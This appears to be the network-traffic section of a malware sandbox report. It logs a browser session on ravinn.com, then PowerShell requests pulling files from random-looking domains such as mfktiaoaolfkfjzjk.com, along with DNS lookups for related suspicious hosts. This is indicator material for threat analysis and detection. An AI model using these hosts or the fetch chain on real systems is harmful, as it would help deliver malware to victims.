__kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/Incident-Response.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/Ravinn-desktop-1600x800-1.mp4 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"Accept-Encoding: identity;q=1, *;q=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: videoReferer: https://www.ravinn.com/Accept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==Range: bytes=0-
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/708f7a809116/main.js? HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/cropped-favicon-32x32.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==; cf_clearance=pJx8ZNRZkZcUrG_3mSlt488DHD0r5hm_cGlE.Jo74vY-1743549630-1.2.1.1-0sbYGTIsiQP8R6kNvx_1NfNsm5ASeo7Ck_DDgRCEy92rPtjUtW.wwNv0vlr5xvGV_SDQ_7MUQOpFxggG6UGX6y0bJrN9HZvDhDcmSbSVX6T5adB1RxeFSP5LTqDGKOwI04KjzNKiajgpVL1Z.903KVv3w0RMxcipHEwmEUS5sY0NYj_60cwQriWLOiSqoG_ZOsPmCvjm7Xc3.lDYsJmuVSD0cFIP5EcFvV7PzDUJLwEl_Bb0AHCT4XoXNjWNUsZJj_U_tkDFiAlejmb_vBdEjpCvueUdvlYwPzZxlpHPoglEsaFLLWww6ntnnXMY.deqwXWNqDqbd9HQtCJKihXUWY4MPvdvhr9o7I38nHbdGGU
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/The-Team.svg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/The-Latest.svg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/australia.svg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/044-R141223.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2025/03/VEC_logo_RGB.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/veterans.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/12/strategy.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/Cyber-Threat-Intelligence.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/jsd/r/0.13947569542610058:1743546722:XhkVEFcVpPyR6yRfblILygkLVlr83O0qYD2eB3d9Uy8/929bd11d2dfa7ced HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/Incident-Response.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/cropped-favicon-32x32.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Accept: */*Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: servverifcloud.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /plu HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: mfktiaoaolfkfjzjk.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /84.fqo HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: hitiotppppalfkjfk.comConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: ravinn.com
Source: global traffic DNS traffic detected: DNS query: www.ravinn.com
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: pptpooalfkakktl.com
Source: global traffic DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic DNS traffic detected: DNS query: static.klaviyo.com
Source: global traffic DNS traffic detected: DNS query: static-tracking.klaviyo.com
Source: global traffic DNS traffic detected: DNS query: dajajkfifofjfklaiotjapp.com
Source: global traffic DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic DNS traffic detected: DNS query: servverifcloud.com
Source: global traffic DNS traffic detected: DNS query: mfktiaoaolfkfjzjk.com
Source: global traffic DNS traffic detected: DNS query: hitiotppppalfkjfk.com
Source: unknown HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/jsd/r/0.13947569542610058:1743546722:XhkVEFcVpPyR6yRfblILygkLVlr83O0qYD2eB3d9Uy8/929bd11d2dfa7ced HTTP/1.1Host: www.ravinn.comConnection: keep-aliveContent-Length: 16538sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8sec-ch-ua-mobile: ?0Accept: */*Origin: https://www.ravinn.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: unknown Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49798
